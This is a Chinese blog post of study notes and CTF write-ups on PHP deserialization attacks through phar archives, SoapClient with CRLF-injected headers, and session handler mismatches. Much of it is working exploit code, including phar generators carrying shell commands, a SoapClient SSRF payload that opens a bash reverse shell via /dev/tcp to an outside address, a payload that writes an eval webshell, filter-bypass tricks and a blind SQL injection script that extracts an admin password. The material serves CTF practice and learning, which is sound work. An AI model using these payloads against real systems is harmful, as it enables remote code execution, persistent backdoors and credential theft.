php其他反序列化知识学习

news2024/11/27 5:27:29

简单总结一下最近学习的,php其他的一些反序列化知识

  • phar

  • soap

  • session

  • 其他

    • __wakeup绕过
    • gc绕过异常
    • 非公有属性,类名大小写不敏感
    • 正则匹配,十六进制绕过关键字检测
    • 原生类的利用

phar

基础知识

在 之前学习的反序列化利用中,都要用到unserlize这个反序列化方法,然后构造pop链子,但是通过读取phar文件,即使不使用unserlize,也可以触发反序列化操作

phar文件是php特有的一种归档(压缩)文件,可以把多个文件归档为1个文件,提供了一种将完整的PHP应用程序分发到单个文件中并从该文件运行它的方法,而无需将其提取到磁盘中,php可以通过phar://伪协议在不过分解压的情况下,访问phar文件,并执行其中的php程序

phar文件的基本结构如下

  1. stub:phar文件标志
    phar文件在文件开头有一个特殊的标志,如aaa<?php bbb; __HALT_COMPILER();?>aaa,bbb可以是任意内容,但是<?php __HALT_COMPILER();?>必须 存在,就是一定有<?php 、 <?=<script language="php">这种php标签对,标签对中含有 __HALT_COMPILER();
  2. manifest
    存储着每个被压缩文件的权限,属性等信息,这部分还会以序列化的形式存储用户自定义的meta-data,特定函数读取时会反序列化,这是phar反序列化利用中最核心的地方
  3. file contents
    被压缩文件的内容
  4. signature
    phar文件的签名,用于验证phar文件的完整性和真实性

我们可以先写个小程序,看看生成的phar文件具体结构(要将php.ini中的phar.readonly选项设置为Off,否则会报错,无法生成phar文件)

<?php
class myObject
{
    public $name = 'helloworld';
}
// 用php的内置类Phar,创建一个名为 phar.phar 的 PHAR文件对象,并赋值给变量 $phar
$phar = new Phar("phar.phar");
// 开始 PHAR 文件的缓冲区,用于批量操作,避免频繁写入磁盘
$phar->startBuffering();
// 设置 PHAR 文件的 Stub,即 PHAR 文件的启动代码,用于启动 PHAR 中的脚本
$phar->setStub("<?php __HALT_COMPILER();?>");
$info = new myObject();
// 设置 PHAR 文件的可自定义的元数据
$phar->setMetadata($info);
// 向 PHAR 文件中添加一个名为 a.txt 的文件,并将内容设置为 'a'
$phar->addFromString("a.txt", "a");
// 停止 PHAR 文件的缓冲区,将缓冲区中的操作写入到 PHAR 文件中
$phar->stopBuffering();
?>

用xxd工具(Linux 下的十六进制编辑工具)查看一下生成的phar文件

在这里插入图片描述

可以看到phar文件里,有文件头,还有自定义的被序列化的,我们传入的一个对象

利用条件

如果一些文件操作函数通过phar://伪协议读取phar文件时,就会将meta-data反序列化,相关函数如下

copy, file_exists, file_get_contents,file_put_contents,file,fileatime,filectime,filegroup,fileinode, filemtime, fileowner, fileperms, fopen, is_dir, is_executable,is_file, is_link.is_readable,is_writable,,parse_ini_file,readfile,stat,unlink,exif _thumbnail,exif_imagetype, imageloadfont, imagecreatefrom, hash_hmac_file, hash_ile, hash_update_filemd5_file, sha1_file, get meta_tags, get_header,getimagesize, getimagesizefromstring ,extractTo_is_wirtble、info_file

利用条件如下:

  1. phar可以上传到服务器端(存在文件上传)
  2. 要有可用的魔术方法作为“跳板”。利用之前学习的魔术方法构造pop链
  3. 文件操作函数的参数可控,且:/phar等特殊字符没有被过滤

实验测试

使用网上大佬的程序来测试,

upload.html

<html>
<body>
<form action="http://192.168.184.200/pharsnap/upload_files.php" method="post" enctype="multipart/form-data">
    <input type="file" name="file" />
    <input type="submit" name="Upload" />
</form>
</body>
</html>

upload_files.php

<?php
if (isset($_FILES["file"])) {
    echo "Upload: " . $_FILES["file"]["name"]."<br/>";
    echo "Type: " . $_FILES["file"]["type"]."<br/>";
    echo "Temp file: " . $_FILES["file"]["tmp_name"]."<br/>";

    if (file_exists("upload/" . $_FILES["file"]["name"])) {
        echo $_FILES["file"]["name"] . " already exists. ";
    } else {
        move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" .$_FILES["file"]["name"]);
        echo "Stored in: " . "upload/" . $_FILES["file"]["name"];
    }
} else {
    echo "No file uploaded.";
}
?>

read.php

<?php
$filename=@$_GET['filename'];
echo 'please give me a filename by get'.'<br />';
class AnyClass{
    var $output = 'echo "ok";';
    function __destruct()
    {
        system($this -> output);
    }
}
    if(file_exists($filename)){
        $a = new AnyClass();
    }
    else{
        echo 'file is not exists';
    }
?>

重点在read.php,使用了 file_exists 函数,它在受影响函数之中,在用phar协议读取文件时会反序列化其中数据,

利用思路:

read.php的AnyClass类中的__destruct魔术方法中,有eval这个可以执行系统命令的方法,是可以利用的,而且存在file_exists这个可以触发的函数,所在在file_exists中用phar://伪协议读取我们上传的phar文件,就会反序列化其中的数据,我们在自己的phar中设置$output为系统命令即可

exp:

<?php

class AnyClass
{
    public $output="('ls /');";
}

$phar=new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER();?>");
$info=new AnyClass();
$phar->setMetadata($info);
$phar->addFromString("a.txt","a");
$phar->stopBuffering();
?>

payload:

?filename=phar://upload/phar.phar/a.txt  

结果

在这里插入图片描述

命令执行成功,总的来说就两点:

  1. 找会触发反序列化的方法和文件上传或写入的点
  2. 构造pop链执行rce

相关绕过

在实验代码中加一个file_get_contents,这个函数触发反序列化相对更容易,容易测试

phar不能在开头

数据压缩绕过(要安装对应的拓展)

compress.bzip2://phar://phar.phar/a.txt  
compress.zlib://phar://phar.phar/a.txt

放其他伪协议在开头绕过

php://filter/resource=phar://phar.phar/a.txt

__HALT_COMPILER特征检测

1.压缩绕过,gzip或zip

如果对phar的特征:__HALT_COMPILER进行了过滤,可以使用gzip对phar文件再压缩一次,这时__HALT_COMPILER就没有了

!在这里插入图片描述

直接phar读取或者配合文件包含,也是可以触发反序列化的

?filename=phar://upload/phar.phar.gz/a.txt   #gz要访问gz中的phar中设置的a.txt
?filename=phar://upload/phar.zip/phar.phar   #zip只要访问zip中的phar即可,名字随意,后缀要phar

在这里插入图片描述

2.zip压缩,把序列化内容写入zip的注释,那为什么不直接压缩为zip,传上去然后访问嘛,为什么还要多此一举?

因为通常文件上传中只能上传图片,本地测试发现,gzip压缩后的文件.gz,改后缀为png,再去访问,仍然可以反序列化执行命令

但是zip文件.zip,转为png后,中间序列化的内容有丢失,再去访问会执行命令失败

原来的phar内容:

在这里插入图片描述

中间的命令尝试写入一句话,压缩为zip,再转为png,尝试访问

在这里插入图片描述

在这里插入图片描述

结果发现一句话的内容消失了,写入失败,但是如果把序列化内容写入zip中的注释,转为png不会消失,php处理代码如下

$phar_file = serialize($info);
$zip = new ZipArchive();
$res = $zip->open('1.zip', ZipArchive::CREATE);
$zip->addFromString('a', 'hellowrold');//设置zip要压缩的文件名和内容
$zip->setArchiveComment($phar_file); // 设置了 ZIP 文件的注释为序列化后的内容
$zip->close();
rename("1.zip","1.png");

在这里插入图片描述

在这里插入图片描述

一句话写入成功

文件头检测

如果通过检测文件头来检测是否是图片,可以在设置stub时增加GIF89a(gif图片文件头)绕过,如

$phar->setStub("GIF89a"."<?php __HALT_COMPILER();?>");

如果过滤问号,可以<script language="php">绕过,如

$phar->setStub("GIF89a"."<script language='php'> __HALT_COMPILER();</script>");

题目实战

SWPU2018 SimplePHP

buu在维护,题目做不了,不过给了一个大佬写的yaml文件,于是起个docker

在这里插入图片描述

可以看到有查看文件和上传文件两个页面,看看页面源码

在这里插入图片描述

可以看到查看文件的文件名通过file传递,感觉可以通过查看题目源码,在这里插入图片描述

果然可以,想直接file=f1ag.php,提示文件不存在,被ban了

那就把其他的php文件代码都看看

upload_file.php

<?php 
include 'function.php'; 
upload_file(); 
?> 
<html> 
<head> 
<meta charest="utf-8"> 
<title>文件上传</title> 
</head> 
<body> 
<div align = "center"> 
        <h1>前端写得很low,请各位师傅见谅!</h1> 
</div> 
<style> 
    p{ margin:0 auto} 
</style> 
<div> 
<form action="upload_file.php" method="post" enctype="multipart/form-data"> 
    <label for="file">文件名:</label> 
    <input type="file" name="file" id="file"><br> 
    <input type="submit" name="submit" value="提交"> 
</div> 

</script> 
</body> 
</html>

function.php 处理上传的文件

<?php 
//show_source(__FILE__); 
include "base.php"; 
header("Content-type: text/html;charset=utf-8"); 
error_reporting(0); 
function upload_file_do() { 
    global $_FILES; 
    $filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg"; 
    //mkdir("upload",0777); 
    if(file_exists("upload/" . $filename)) { 
        unlink($filename); 
    } 
    move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename); 
    echo '<script type="text/javascript">alert("上传成功!");</script>'; 
} 
function upload_file() { 
    global $_FILES; 
    if(upload_file_check()) { 
        upload_file_do(); 
    } 
} 
function upload_file_check() { 
    global $_FILES; 
    $allowed_types = array("gif","jpeg","jpg","png"); 
    $temp = explode(".",$_FILES["file"]["name"]); 
    $extension = end($temp); 
    if(empty($extension)) { 
        //echo "<h4>请选择上传的文件:" . "<h4/>"; 
    } 
    else{ 
        if(in_array($extension,$allowed_types)) { 
            return true; 
        } 
        else { 
            echo '<script type="text/javascript">alert("Invalid file!");</script>'; 
            return false; 
        } 
    } 
} 
?> 

file.php 展示文件

<?php 
header("content-type:text/html;charset=utf-8");  
include 'function.php'; 
include 'class.php'; 
ini_set('open_basedir','/var/www/html/'); 
$file = $_GET["file"] ? $_GET['file'] : ""; 
if(empty($file)) { 
    echo "<h2>There is no file to show!<h2/>"; 
} 
$show = new Show(); 
if(file_exists($file)) { 
    $show->source = $file; 
    $show->_show(); 
} else if (!empty($file)){ 
    die('file doesn\'t exists.'); 
} 
?> 

还有class.php,一起看看

<?php
class C1e4r
{
    public $test;
    public $str;
    public function __construct($name)
    {
        $this->str = $name;
    }
    public function __destruct()
    {
        $this->test = $this->str;
        echo $this->test;
    }
}

class Show
{
    public $source;
    public $str;
    public function __construct($file)
    {
        $this->source = $file;   //$this->source = phar://phar.jpg
        echo $this->source;
    }
    public function __toString()
    {
        $content = $this->str['str']->source;
        return $content;
    }
    public function __set($key,$value)
    {
        $this->$key = $value;
    }
    public function _show()
    {
        if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
            die('hacker!');
        } else {
            highlight_file($this->source);
        }
        
    }
    public function __wakeup()
    {
        if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
            echo "hacker~";
            $this->source = "index.php";
        }
    }
}
class Test
{
    public $file;
    public $params;
    public function __construct()
    {
        $this->params = array();
    }
    public function __get($key)
    {
        return $this->get($key);
    }
    public function get($key)
    {
        if(isset($this->params[$key])) {
            $value = $this->params[$key];
        } else {
            $value = "index.php";
        }
        return $this->file_get($value);
    }
    public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
}
?>

base.php基本纯html,就不展示了

源码中直接提示就是考phar反序列化,触发点应该在file_exist函数,没看到有可以执行系统命令的地方,但是test类中有file_get_contents,利用这个函数读取flag.php

开始构造pop链(如何构造及其原理之前的笔记学习过了,这里不在赘述)一样的,反向思考如何构造:

1.最终利用的是Test类中的file_get->file_get_contents获取flag,这个方法在get方法中调用,传给file_get的value由数组params中有没有$key这个健决定

2.get方法在__get方法调用,__get在访问类中不存在的变量时调用,访问的变量名会被作为字符串传入该方法中

3.Show类的toString方法中$content = $this->str['str']->source;,如果$this->str['str']赋值为Test实例,就是访问了Test类中不存在的对象,触发__get, ‘source’传入该方法,如果把Test类中的params数组中,设置一个同名健source,值为’/var/www/html/f1ag.php’,就能成功访问

4.C1e4r的__destruct__->echo $this->test;,把test设置为Show实例,触发Show类的toStting

exp如下:

<?php
class C1e4r
{
    public $test;
    public $str;
}
class Show
{
    public $source;
    public $str;
}
class Test
{
    public $file;
    public $params;
}
//pop链
$a=new C1e4r();
$b=new Show();
$c=new Test();
$a->str=$b;  //触发show的toString
$a->str->str['str']=$c;  //访问test类的不存在属性,触发__get
$c->params['source']="/var/www/html/f1ag.php";
//生成phar文件
$phar=new Phar("1.phar");
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER();?>');
$phar->setMetadata($a);
$phar->addFromString("a.txt","a");
$phar->stopBuffering();
rename("1.phar","1.png");
?>

直接访问/upload,得到文件名

在这里插入图片描述

在file.php,使用phar协议访问即可

在这里插入图片描述

解码后发现啥也没有,进入docker的shell发现原本就是这样

newstar2023 pharone

今天发现可以做题了,直接启动

在这里插入图片描述

有一个上传页,源码提示有class.php,代码如下:

<?php
highlight_file(__FILE__);
class Flag{
    public $cmd;
    public function __destruct()
    {
        @exec($this->cmd);
    }
}
@unlink($_POST['file']);

有unlink方法,很明显就是phar反序列化,exec执行系统命令是没有直接的回显的,所以要写个webshell进去

主页上传发现,只能上传图片,上传成功,会回显文件名路径

在这里插入图片描述

直接生成phar,转png,试试

上传结果发现

在这里插入图片描述

过滤了__HALT_COMPILER这个文件特征,把序列化内容写入zip注释吧,

完整的exp:

<?php
class Flag
{
    public $cmd="echo '<?=@eval(\$_POST[cmd]);' > /var/www/html/shell.php";
}
$info=new Flag();
$phar_file = serialize($info);
$zip = new ZipArchive();
$res = $zip->open('1.zip', ZipArchive::CREATE);
$zip->addFromString('a', 'hellowrold');//设置zip要压缩的文件内容
$zip->setArchiveComment($phar_file); // 这一行设置了 ZIP 文件的注释为序列化后的内容
$zip->close();
rename("1.zip","1.png");
?>

在这里插入图片描述

上传成功,直接在class.php传入

file=phar://upload/4a47a0db6e60853dedfcfdf08a5ca249.png/phar.phar

然后蚁剑连接shell.php ,查看flag

在这里插入图片描述

成功

soap

基础知识

SOAP(Simple Object Access Protocol)是一种用于在网络上交换结构化信息的协议。它通常用于实现分布式系统中的远程过程调用(调用服务器上的方法),允许不同的计算机在网络上进行通信并交换数据。其特点有但不限于:

基于 XML:SOAP 使用 XML 格式来封装和传输数据。这使得它能够支持复杂的数据结构和对象,并且与不同的编程语言和平台兼容。

支持多种传输协议:SOAP 可以使用多种传输协议来进行数据传输,其中最常用的是 HTTP 和 HTTPS。但 SOAP 也可以基于其他协议如 SMTP、JMS 等进行传输。

正常的一次soap请求demo如下:

<?php
// 创建 SoapClient 对象
$client = new SoapClient(null, array(
    'location' => 'http://192.168.184.150:1234', #location->请求的地址
    'uri' => 'goodgoodstudydaydayup'    //命名标识符,唯一标识服务端的应用程序或服务。
));

// 设置要调用的 SOAP 方法,服务端要有定义和实现,才能获取到数据
$method = 'getWeather';

// 使用 __soapCall() 方法发送 SOAP 请求
try {
    $response = $client->__soapCall($method, array());
    // 处理响应
    echo "Response: " . $response;
} catch (SoapFault $e) {
    // 处理 SOAP 错误
    echo "SOAP Error: " . $e->getMessage();
}
?>

服务端收到的http请求包

在这里插入图片描述

由于服务端并没有定义getWeather方法,所以这次soap请求拿不到相关数据,

利用方法

触发__call

正常的soap请求是调用SoapClient对象的__soapCall实现的,但是如果调用了该对象中不存在的方法,会触发__call魔术方法,这个方法也会发送soap请求,

如:

<?php
$a = new SoapClient(null,array('location'=>'http://192.168.184.150:1234', 'uri'=>'goodgoodstudydaydayup'));
$a->a();    // 调用SoapClient实例对象中不存在的方法, 触发__call方法,发送请求
?>

在这里插入图片描述

所以soap的反序列化不需要构造pop链,只要有反序列化的过程和调用不存在的方法即可,但是只是发送一个拿不到数据的请求没有意思,我们可以通过CRLF注入,构造出我们想要的数据包,发送到服务端,让服务端带着这个数据包去发送请求(ssrf),拿到我们想要的数据

CRLF注入

需要先了解一下http协议数据包的结构:

https://www.cnblogs.com/huansky/p/14007810.html

不论是请求报文还是响应报文,各行数据通过回车换行符分割,这个回车换行符就是\r\n,url编码后是%0d%0a,即为CRLF,头部和数据正文之间隔了两个CRLF

如果用户输入会出现在,服务端http响应的header中,CRLF注入就可以控制响应头中出现我们设置的内容,如

在这里插入图片描述

用户的输入会出现在location中,如果输入变为

http://192.168.184.200/locat.php?url=http://www.baidu.com%0d%0aSet-Cookie:token%3D123456

这个输入中注入了一个CRLF,本来这整个值都应出现在Location的值中,但服务器在读取完 Location:http://www.baidu.com后,读取到了一个CRLF,会认为这个键值对已经结束,就会准备开始读取下一个头部中键值对,而Set-Cookie:token%3D123456,url解码后,是可以被正常读取的键值对,这样一来就会在请求头中设置了我们自己的cookie

现在通过 Location 字段的 302 跳转进行 CRLF 注入这个漏洞已经被修复了,但是了解了原理之后,我们可以通过CRLF配合soap,启动ssrf

例如在user-agent注入CRLF,

<?php
$a = new SoapClient(null,array('location'=>'http://192.168.184.150:1234','user_agent'=>"soap\r\nSet-Cookie:token=helloworld" ,'uri'=>'goodgoodstudydaydayup'));
$a->a();    // 调用SoapClient实例对象中不存在的方法, 触发__call方法,发送请求
?>

在这里,我在user-agent后面注入了一个CRLF,然后设置Set-Cookie:token=helloworld,结果

在这里插入图片描述

服务端接受到数据包中,头部出现了Set-Cookie键值对,注入一个crlf就能修改或增加一个键值对,可以看到,soap的http请求是POST方法,要实现ssrf,我们要通过注入多个CRLF,修改Conent-Type,content-Length,还要插入我们自己的数据代替原来的xml数据,使这个post请求变成我们想要的

<?php
$target = 'http://192.168.184.150:1234';
$post_data = 'data=whoami';
$headers = array(
    'X-Forwarded-For: 127.0.0.1',
    'Cookie: PHPSESSID=3stu05dr969ogmprk28drnju93'
);
$a = new SoapClient(null,array('location' => $target,'user_agent'=>'helloworld^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '. (string)strlen($post_data).'^^^^'.$post_data,'uri'=>'test'));
$b = serialize($a);
$b = str_replace('^^',"\r\n",$b);
echo $b;
$c = unserialize($b);
$c->a();    // 随便调用对象中不存在的方法, 触发__call方法进行ssrf
?>

在这里插入图片描述

$a = new SoapClient(null,array('location' => $target,'user_agent'=>'helloworld^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '. (string)strlen($post_data).'^^^^'.$post_data,'uri'=>'test'));

exp这一句,每注入一个CRLF,就修改一个键值对,请求头和请求数据要插入2个CRLF,我们就可以通过这样构造的post请求,进行ssrf

实验学习

test.php

<?php
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){
       eval($_POST['cmd']);
   }
else{
    echo "not localhost";
}
$a=unserialize($_GET['a']);
$a->play();
?>

可以看到,程序中有反序列化操作,并且调用了play这个未定义方法,,要求REMOTE_ADDR为127.0.0.1,才能执行命令,所以我们可以传入自己构造的序列化后的soap对象,反序列化后触发__call方法,进行ssrf, exp如下

<?php
$poc = "cmd=".urlencode('system("bash -c \'bash -i >& /dev/tcp/192.168.184.150/1234 0>&1\'");?>');
$a = new SoapClient(null,array('uri'=>"aaaa", 'location'=>'http://127.0.0.1/test.php',"user_agent"=>"helloworld\r\nContent-Length: ".strlen($poc)."\r\nContent-Type: application/x-www-form-urlencoded\r\n\r\n".$poc,"keep_alive"=>false));
$b = serialize($a);
echo urlencode($b);

在这里插入图片描述

shell反弹成功,总结利用条件:

1.程序中有反序列化操作

2.支持soap服务,调用了未定义方法

题目实战

easy_harder_php

综合性很强的题,搞了好久,最后还没做出来

在这里插入图片描述

题目首页url参数有action=login,感觉可以任意文件读取,尝试

在这里插入图片描述

果然有,那就需要知道其他php文件名,然后读取,dirsearch扫一下,

在这里插入图片描述

发现config.php,后加~可以读取,然后顺藤摸瓜发现了三个php文件的源代码,cofig,index,user

代码都很长,就不粘贴过来了

思路

没做出来,看了wp还是没法复现,简单记录一下思路吧

看了代码后,在user.php->publish发现admin登录后才有文件上传的功能,

在这里插入图片描述

但是在user.php->login中,admin登录不仅要密码正确,还要本地登录,感觉要ssrf,于是寻找可能的ssrf触发点

在这里插入图片描述

寻找了一圈没啥收获,但是在user.php->showmess中发现了没有pop链的反序列化,而且,下面调用了getcountry未定义方法,想到用soap来ssrf

在这里插入图片描述

不知道从哪里可以拿到admin的密码,但是发现操作数据库的sql中都是直接拼接的,感觉可以sql注入,注册和登录都不行,要输入MD5的验证码

登录后的insert中有

在这里插入图片描述

在这里插入图片描述

插入的语句没有什么验证,插入一个a,后面再跟上的我们的时间注入payload即可,表名字段,存储密码长度都能从源码中得知,exp如下:

import requests
import time
from datetime import datetime
url_target='http://c4790c8b-ff2c-4d42-b109-c99e764602fb.node5.buuoj.cn:81/index.php?action=publish'
cookie={'PHPSESSID':'4p269bclqkqpic4v928so6goh3'}
data={
    'signature':'',
    'mood':'0'
}
passwd=''
for i in range(1,33):
    time.sleep(0.5)
    for k in range(33,127):
        sql=f'a`,if(ord(substr((select password from ctf_users where username=`admin`),{i},1))={k},sleep(2),null))#'
        data['signature']=sql
        start = datetime.now()
        res=requests.post(url=url_target,data=data,cookies=cookie,timeout=3)
        end = datetime.now()
        sec = (end - start).seconds
        if sec >= 2:
                passwd+=chr(k)
                print(passwd)

结果

在这里插入图片描述

拿去md5碰撞网站试试,得到为nu1ladmin

用脚本生成soap序列化字符串,在这里要用两个浏览器,一个停留在登录页面,把要用的验证码和cookie中的PHPSESSID,保留下来,放入soap请求包,另一个浏览器用普通用户登录,pubilsh插入我们构造的soap序列化数据,exp:

<?php
$target = 'http://c360d287-8204-45d0-8d8d-7180e8bfd8c8.node5.buuoj.cn:81//index.php?action=login';
$post_string = 'username=admin&password=nu1ladmin&code=IWAPX5COOXSFNBuuWbP4';
$headers = array(
    'X-Forwarded-For: 127.0.0.1',
    'Cookie: PHPSESSID=s3r1gfsk5288rntocmg8fhdlg3'
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'helloworld^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri'      => "aaab"));

$a = serialize($b);
$a = str_replace('^^',"\r\n",$a);
$a = str_replace('&','&',$a);
echo $a;
?>

然后把序列化字符串转为十六进制,点击publish,执行插入语句

在这里插入图片描述

网上的wp都是插入后,再刷新就是admin,但我总是失败,不知道为啥,最后试了一下直接包含根目录下的flag,还真有

在这里插入图片描述

不知道是不是验证码没处理好,导致无法admin,验证码是MD5碰撞求得,分享一下大佬写的脚本

import multiprocessing
import hashlib
import random
import string
import sys

# 定义字符集,包括大小写字母和数字
CHARS = string.ascii_letters + string.digits
def cmp_md5(substr, stop_event, str_len, start=0, size=20):
    """比较MD5哈希值的函数"""
    global CHARS
    while not stop_event.is_set():
        # 生成随机字符串
        rnds = ''.join(random.choice(CHARS) for _ in range(size))
        # 计算MD5哈希值
        md5 = hashlib.md5(rnds.encode('utf8'))
        value = md5.hexdigest()
        # 检查哈希值是否满足条件并输出
        if value[start: start + str_len] == substr:
            print(rnds)
            print(value)
            # 设置停止事件,停止其他进程
            stop_event.set()


if __name__ == '__main__':
    # 从命令行参数获取目标MD5哈希值的起始子字符串和搜索起始位置
    substr = sys.argv[1].strip()
    start_pos = int(sys.argv[2]) if len(sys.argv) > 1 else 0
    str_len = len(substr)
    # 获取计算机CPU核心数
    cpus = multiprocessing.cpu_count()
    # 创建一个事件对象来协调进程之间的停止
    stop_event = multiprocessing.Event()
    # 创建多个进程,每个进程运行cmp_md5函数以搜索满足条件的字符串
    processes = [multiprocessing.Process(target=cmp_md5, args=(substr, stop_event, str_len, start_pos))
                 for i in range(cpus)]
    # 启动所有进程
    for p in processes:
        p.start()
    # 等待所有进程完成
    for p in processes:
        p.join()

session

基础知识

SESSION的一些知识在学习会话文件包含时学习过,现在学习一下SESSION在反序列化中的利用点的一些基础知识

php有三种session的处理器(php,php_serialize,php_binary ,默认为php),用于把session会话信息存储到文件中,各自都有不同的session存储和使用的机制,但存到文件里的都是类似序列化的数据,不同的处理有一些差别,如下面的demo

<?php
ini_set("session.serialize_handler", "php_serialize");
highlight_file(__FILE__);
session_start();
$_SESSION['name']=$_GET['name'];
?>

传入name=helloworld,三种处理器存储的数据如下

处理器数据
php`name
php_serializea:1:{s:4:"name";s:10:"helloworld";}
php_binarynames:10:"helloworld";

如果多传一个sex属性,存到SESSION数组中存储如下

在这里插入图片描述

可以看到,php处理器存储就是键名|序列化数据,php_serialize就是a:键值对个数:{序列化数据},php_binary就是键名后直接跟序列化数据

利用条件:

1.两个不同的php文件,使用了不同的会话文件处理器,序列化存储文件时用php_serialize,但默认是php,可能要通过别的方式修改,反序列化会话文件是php

在这里插入图片描述

2.调用了session_start()或php.ini中session.auto_start=1,调用了session_start(),如果之前已经存在会话,就会去反序列化session文件

利用方法:

就是利用这两个处理器不同的处理机制(对于|的处理不同),在上面学习过他们的存储方式,php存储时会用|分割键值,但php_serialize存储时就没有,

也就是说,php_serialize反序列化会把|当作普通字符串,如果是php,遇到|,就会反序列化后面内容,把|前面的当作键值,如果我们能控制输入$_SESSION数组的变量,控制为|(对象序列化字符串),php_serialize会当作普通字符串存储,但php反序列化读取时,就会成功反序列化对象序列化字符串,生成我们想要的对象,

在文件包含时了解过,如果不主动往session数组中传数据,默认session文件是没有内容的,所以SESSION反序列化也分$_SESSION变量可控和不可控

实验学习

$_SESSION变量可控

除了上面的demo,再加一个class.php

<?php
highlight_file(__FILE__);
ini_set("session.serialize_handler", "php");
class Man
{
  public $name;
  function __destruct()

  {
        system($this->name);
  }
}
session_start();
var_dump($_SESSION);
?>

$_SESSION变量可控,就是我们可以往$_SESSION数组传入数据

可以看看这篇大佬的文章,https://blog.csdn.net/weixin_57567655/article/details/121899648,讲的通俗易懂

例如:在这个实验中,先生成我们的Man序列化字符串

<?php
class Man
{
	public $name='ls /';
}
echo serialize(new Man());
?>

在得到到结果前加上|,变为|O:3:"Man":1:{s:4:"name";s:4:"ls /";}

传入给name,查看session文件,

在这里插入图片描述

查看class.php,在这里插入图片描述

$_SESSION变量不可控

利用uoload_progress,手动构建文件上传,具体原理在学习文件包含时了解了,这里简单复习一下

在文件上传的同时,post传一个字段,PHP_SESSION_UPLOAD_PROGRESS,值任意,php这时就会自动创建会话,并往$_SESSION数组中写入数据(关于文件上传的进度),我们传的PHP_SESSION_UPLOAD_PROGRESS的值会和upload_progress拼接在一起,作为session文件中的一个健

条件:

session.upload_progress.enabled=On,默认情况下就是On
默认情况下,session.upload_progress.clean=On,文件上传结束后就会清除session中的相关数据,这时就要条件竞争(之前学习文件包含的文章中已经测试过),这里改为off,方便测试

手动构建文件上传,在原来的前端页面下,打开F12,选中body元素,选择以html格式修改,就可以手动添加一个文件上传的表单

在这里插入图片描述

在可以构造pop链的php文件,构造上传表单:

form action="sess.php" method="POST" enctype="multipart/form-data">
 <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" /> 
 <input type="file" name="file1" />
 <input type="submit" />
</form>

随便上传一个文件,在bp中修改filename

"|O:3:\"Man\":1:{s:4:\"name\";s:4:\"ls /\";}"

在这里插入图片描述

记得转义序列化数据中的双引号,或者filename的内容,用单引号包裹

!在这里插入图片描述

反序列化成功,命令成功执行

题目实战

bestphp’s revenge

题目源码

<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET['f'], $_POST);
session_start();
if (isset($_GET['name'])) {
    $_SESSION['name'] = $_GET['name'];
}
var_dump($_SESSION);+++++++
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
call_user_func($b, $a);
?>

乍一看,看不出什么,扫描一下,发现flag.php

<?php
session_start();
echo 'only localhost can get flag!';
$flag = 'LCTF{*************************}';
if ($_SERVER["REMOTE_ADDR"] === "127.0.0.1") {
    $_SESSION['flag'] = $flag;
}
?>

发现要求本地访问,然后就会往session中写入flag,想到要用ssrf,首页源码中有call_user_func函数,它会把传入的第一个参数当作回调函数,后面的参数当作传入该函数的变量,然后执行该函数,感觉有可能让welcome_to_the_lctf2018作为一个未定义方法,让soap对象调用,就可以ssrf访问flag.php了,不知道该如何操作,上网查阅资料后才理清了利用思路

在第二个call_user_func中,如果把$b再设置为call_user_func,那么传给它的就是一个数组$a,它有两个元素,第一个reset($_SESSION)(也就是$_GET['name']),第二个是welcome_to_the_lctf2018,传给call_user_func如果只有一个数组,那么就会把数组第一个值当作回调函数,后面的值当作该方法的参数,所以$_GET['name']是方法名,welcome_to_the_lctf2018是方法,相当于$_GET['name']->welcome_to_the_lctf2018如果$_GET['name']是我们传入的soapclient对象,就可以触发ssrf,传入soap对象序列化数据,session_start()就可以反序列化来还原

但b似乎是写死的implode,可以修改吗?其实是可以的,只要把$_GET['f']设为extract,利用这个函数的来变量覆盖修改b,原理如下:

PHP extract() 函数用于将数组中的键作为变量名,将对应的值作为变量值导入到当前程序的符号表中
在PHP中,符号表(Symbol Table)是一个内部数据结构,用于跟踪当前脚本中定义的变量和它们的值。在PHP脚本执行期间,符号表记录了所有已经声明的变量及其对应的值,并且可以动态地添加、修改和删除这些变量。
extract()导入变量名和值时,如果原来已经存在相同的变量名,那么旧的值会被数组中同名的健对应的值替换掉

举个例子:

<?php
// 用户通过表单提交了一些数据,例如:
$hobby='play';
// 为了方便,直接使用 extract() 函数将 $_GET 数据导入到当前符号表中,以便后续使用
extract($_GET);
echo "用户: ".$name." 性别: ".$sex."<br>";
echo "your hobby is $hooby";
?>

可以看到,本来hobby的值为play,可以是我们通过get方式传入一个同名变量,使值为study,play就会被study覆盖,如:

在这里插入图片描述

所以在那道题中,要发送两次请求,第一次给name赋值soap序列化数据写入session数组,同时利用call_user_func($_GET['f'], $_POST);,f赋值为session_start(), post 传 serialize_handler=php_serialize ,修改session文件序列化处理器

!在这里插入图片描述

成功写入到session文件中,

生成soap序列化数据的exp:

<?php
$target = 'http://127.0.0.1/flag.php';
$post_data = '';
$headers = array(
    'X-Forwarded-For: 127.0.0.1',
    'Cookie: PHPSESSID=123456'
);
$a = new SoapClient(null,array('location' => $target,'user_agent'=>'helloworld^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '. (string)strlen($post_data).'^^^^'.$post_data,'uri'=>'test'));
$b = serialize($a);
$b = str_replace('^^',"\r\n",$b);
echo "|".urlencode($b);

手动在数据包中,添加发送序列化数据后,响应包中给的cookie,然后正常访问,让程序默认的php处理器,反序列化session文件,发现成功还原SoapClient对象

在这里插入图片描述

这一次,get给f传extract,post传b=call_user_func,让程序还原了soapcilent对象后,发送soap请求

在这里插入图片描述

